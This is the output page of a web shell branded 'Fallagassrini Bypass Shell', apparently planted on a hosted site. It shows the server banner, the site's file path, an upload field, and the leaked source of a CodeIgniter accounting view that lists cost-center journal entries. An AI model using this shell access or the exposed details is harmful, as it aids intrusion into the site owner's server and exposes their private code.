? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/view_cost_center_posted.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<!-- BEGIN PAGE LEVEL STYLES -->
<link rel="stylesheet" href="<?= base_url(); ?>assets/plugins/data-tables/DT_bootstrap.css" />
<!-- END PAGE LEVEL STYLES -->	
<div class="row-fluid">
    <div class="span12">
        <!-- BEGIN EXAMPLE TABLE PORTLET-->
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption"><i class="icon-cogs"></i>Posted Cost Center</div>
                <div class="actions">
                    <a href="#" onclick="addformdisplay('add_cost_center', 'accounting')"  class="btn green"><i class="icon-plus"></i> Add</a>
                </div>
            </div>
            <div class="portlet-body">
                <table class="table table-striped table-hover table-bordered">

                    <tr>
                        <th><input type="radio" name="cost_center" id="cost_center_posted" checked="checked"  value="0"   class="chosen"  onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_cost_center_posted', 'view_cost_center_posted', '1')" /></th><th><label>Posted Cost Center</label></th>
                        <th><input type="radio" name="cost_center" id="cost_center"  value="1"   class="chosen"  onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_cost_center', 'view_cost_center', '1');" /></th><th><label>Un-Posted Cost Center</label></th>
                    </tr>
                </table>  
                <table class="table table-striped table-hover table-bordered" id="sample_3">
                    <thead>
                        <tr>
                            <th class="sl_th">Sl No</th>
                            <th>Transaction No</th>                              
                            <th>Account code</th>
                            <th>Account Name</th>  
                            <th>Expense Type</th>                            
                            <th>Debit</th>
                            <th>Date</th>     
                            <th class="action_th">View</th>
                            <?php
                            $tmp = $viewinfo->result();
                            if (count($tmp))
                            {
                                if ($tmp[0]->posted == 0)
                                {
                                    ?>
                                    <th class="action_th">Edit</th>
                                <?php
                                }
                            }
                            ?>

                        </tr>
                    </thead>
                    <tbody>
                        <?php
                        $table = "";
                        $field = "";
                        $i = 0;
                        $code = 0;
                        foreach ($viewinfo->result() as $row)
                        {
                            $journal = $this->mastermodel->get_data_dual('finance_journal', $row->journal_id, 'journal_id', 0, 'credit', 'journal_id');
                            $i++;
                            ?>
                            <tr class="odd gradeX">
                                <td><?= $i; ?></td>

                                <td><?= $row->reference ?></td>                          
                                <?php
                                $temp = 0;
                                if ($temp != $row->journal_id)
                                    echo "<td>";

                                foreach ($journal as $value)
                                {
                                    echo '<p class="fixed_p">' . $value['chart_account_code'] . '</p>';
                                }
                                if ($temp != $row->journal_id)
                                    echo "</td>";

                                if ($temp != $row->journal_id)
                                    echo "<td>";

                                foreach ($journal as $value)
                                {
                                    echo '<p class="fixed_p">' . $this->mastermodel->get_single_field_value('finance_chart_master', 'chart_account_name', 'chart_account_code', $value['chart_account_code']) . '</p>';
                                }
                                if ($temp != $row->journal_id)
                                    echo "</td>";
                                if ($temp != $row->journal_id)
                                    echo "<td>";

                                foreach ($journal as $value)
                                {
                                    echo '<p class="fixed_p text_r">' . $this->mastermodel->get_single_joined_value('expense_type_name', 'expense_type', 'cost_expense_type', 'expense_type_id', 'expense_type_id', 'finance_journal_id', $value['id']) . '</p>';
                                }
                                if ($temp != $row->journal_id)
                                    echo "</td>";
                                if ($temp != $row->journal_id)
                                    echo "<td>";

                                foreach ($journal as $value)
                                {
                                    echo '<p class="fixed_p text_r">' . number_format((double) $value['debit'], 2) . '</p>';
                                }
                                if ($temp != $row->journal_id)
                                    echo "</td>";
                                $temp = $row->journal_id;
                                ?>


                                <td><?= $this->mastermodel->convertdatenormalformat($row->journal_date) ?></td>
                                <td><a class="search_details" data-journal_id="<?= $row->journal_id; ?>" id="image_icon" href="#"  >
                                        <img src="<?= base_url() ?>/assets/img/view-icon.png"   title="View" width="20" height="20" alt="View Entry" align = "center"  /></a>                          
                                </td>     
                                <?php
                                if ($row->posted == 0)
                                {
                                    ?>
                                    <td><a class="edit" href="#" onclick="editformdata('accounting', 'edit_cost_center', '<?= $row->journal_id; ?>', 'finance_journal_refs', 'journal_id', 'edit_cost_center')">Edit</a></td>
                                    <?php
                                }
                                ?>


                            </tr>
                                <?php
                            }
                            ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>
<div style='display:none'>
    <div id="uploaddiv"></div>
</div>
<div id="ajax-modal" class="modal hide fade" tabindex="-1"></div>
<script>
    jQuery(document).ready(function() { 
       
        $('.search_details').on("click",function(e){
            e.preventDefault();
            var $modal = $('<div id="payment_vouchar_div" class="modal hide fade" tabindex="-1"></div>');
            var journal_id = $(this).data('journal_id');
            $.ajax({
                url : "<?= site_url('accounting/viewsingle_page_cost_center') ?>/" + journal_id +"/search_cost_center_posted/view_cost_center_posted",
                success: function(data){
                    $modal.empty().html(data);
                    $modal.modal();
                }
            }); 
            
        });
        UIModals.init();
        TableManaged.init();
    });
</script>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net